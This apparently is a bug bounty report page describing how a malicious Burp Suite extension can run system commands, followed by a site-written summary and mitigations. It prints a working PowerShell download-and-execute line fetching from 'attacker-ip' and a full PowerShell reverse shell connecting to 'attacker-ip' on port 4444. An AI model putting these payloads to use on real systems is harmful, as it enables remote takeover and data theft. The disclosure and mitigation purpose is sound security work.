Burp Suite extensions can execute arbitrary code
The author argues that Burp Suite extensions run with the user's own privileges, so a malicious extension can run system commands, open a reverse shell and keep persistent access. The demonstration is a self-written extension that the user installs themselves, so the text does not show a way to get a victim to install it.
- Disclosed after under an hour
Dear PortSwigger Security Team,
I hope you’re doing well. I’m reaching out to share a security concern regarding Burp Suite’s extension framework that could allow an attacker to compromise a machine by executing untrusted code. While Burp Suite offers powerful extensibility, this flexibility can also introduce significant security risks if an attacker crafts a malicious extension. This research highlights a attack vector that allows code execution, leading to full system compromise, including reverse shells and persistent access.
Overview of the Issue
Burp Suite extensions, when installed and executed, run with the same privileges as the user. This means that an attacker can embed arbitrary system commands inside an extension that, when loaded, will execute malicious payloads. This could include actions such as:
- Running a reverse shell to an attacker-controlled machine.
- Downloading and executing remote payloads.
- Capturing keystrokes, screenshots, and other sensitive data.
- Bypassing security measures by running malicious actions in the background.
For this demonstration, I will showcase how an attacker can embed seemingly harmless functionality inside a Burp extension while covertly executing malicious actions in the background.
Demonstration of the Attack
To illustrate this, I created a Burp extension that appears to perform simple tasks such as opening Notepad and Calculator. However, in reality, it also performs the following malicious actions:
- Creates a hidden PowerShell script (
poc.ps1). - Executes the PowerShell script, which opens a reverse shell to an attacker’s machine.
- Opens a backdoor using
nc(Netcat) to maintain persistent access. - Runs system-level commands, such as accessing the webcam, stealing credentials, or modifying system settings.
Code Breakdown
Below is a breakdown of the extension’s malicious functionality:
-
Executing Arbitrary System Commands (e.g., Calculator, Notepad, Webcam)
Python subprocess.Popen(["calc.exe"], shell=True) # Opens Calculator subprocess.Popen(["notepad.exe", "poc.txt"], shell=True) # Opens Notepad with a file subprocess.Popen(["start", "microsoft.windows.camera:"], shell=True) # Opens CameraWhile these actions seem harmless, they demonstrate the ability to execute system commands within an extension.
-
Creating and Writing to a PowerShell Script
Python file_path = os.path.join(os.getcwd(), "burpextension", "poc.ps1") with open(file_path, "w") as file: file.write("Start-Process powershell -ArgumentList '-NoP -NonI -W Hidden -Exec Bypass -C \"IEX(New-Object Net.WebClient).DownloadString(\'http://attacker-ip:8000/rev.ps1\')\"'")This script downloads and executes a remote PowerShell payload, providing the attacker with control over the compromised system.
-
Executing the Malicious PowerShell Script
Python subprocess.Popen(["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", file_path], shell=True)This runs the PowerShell script, enabling remote access for the attacker.
-
Establishing a Reverse Shell with Netcat
PowerShell $client = New-Object System.Net.Sockets.TCPClient("attacker-ip",4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }This establishes a persistent reverse shell, allowing full system access.
While Burp Suite does provide an extension signing feature, many users disable it or install extensions from unverified sources, making them vulnerable.
##Full pwn Poc
Mitigations & Recommendations
To address this issue, I propose the following mitigations:
-
Restrict System Commands in Extensions
- Prevent direct execution of
subprocess.Popen(),os.system(), or PowerShell commands inside extensions. - Introduce an API restriction that blocks execution of commands unless explicitly allowed by the user.
- Prevent direct execution of
-
Extension Code Review & Sandboxing
- Implement a sandboxing mechanism that restricts what an extension can execute.
- Require explicit user confirmation before an extension can execute system commands.
-
Enforce Digital Signing for Extensions
- Require all extensions to be signed and verified before execution.
- Warn users when installing unsigned extensions.
-
Monitor and Log Extension Behavior
- Implement logging for all system commands executed by an extension.
- Alert users if an extension attempts to execute unauthorized actions.
Conclusion
This research demonstrates how a malicious Burp Suite extension can be used as a Trojan horse to execute arbitrary system commands, including launching a reverse shell. Given that Burp Suite is widely used by security professionals, pentesters, and even corporate environments, it is critical to enforce stricter controls on extension execution to prevent abuse.
I appreciate your time in reviewing this report, and I hope this helps improve the security of Burp Suite. Please let me know if you need further details or if I can assist with any additional testing.
Looking forward to your feedback!
Impact
The primary issue is that Burp Suite extensions execute code with the same privileges as the user. If an attacker manages to convince a target to install a malicious extension, they can:
- Gain persistent access to the system.
- Execute arbitrary system commands in the background.
- Steal sensitive data without detection.
- Bypass security measures by executing trusted processes (e.g., PowerShell, cmd.exe, or Windows utilities).
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely by design, the extension framework runs add-on code with the full privileges of the user and does not sandbox or restrict what an extension can execute.
Impact
If a user can be convinced to install a malicious extension, the attacker could gain persistent access, run arbitrary commands and steal data, though the text notes that extension signing exists and some users disable it or install from unverified sources.
What the attacker needed
Victim installs a malicious extension; user-level privileges on the machine
The fix
The report recommends sandboxing extensions, requiring explicit user confirmation before system commands run, enforcing digital signing and logging extension behaviour; the text does not say whether any of this was implemented.
How it was found
- Create a Burp extension that looks harmless but also writes a hidden PowerShell script.
- Have the extension run that script, which downloads and runs a remote payload.
- Use the script to open a reverse shell and a Netcat backdoor for persistent access.
- Install the extension in Burp Suite and observe the commands running in the background.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An extension is a small add-on program that a user installs into an application to add features. Here the add-on runs with the same power as the person using the computer, so if the add-on is malicious it can do anything that person can do, such as start other programs or connect out to the internet. The report shows this by writing its own add-on that misbehaves once installed.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.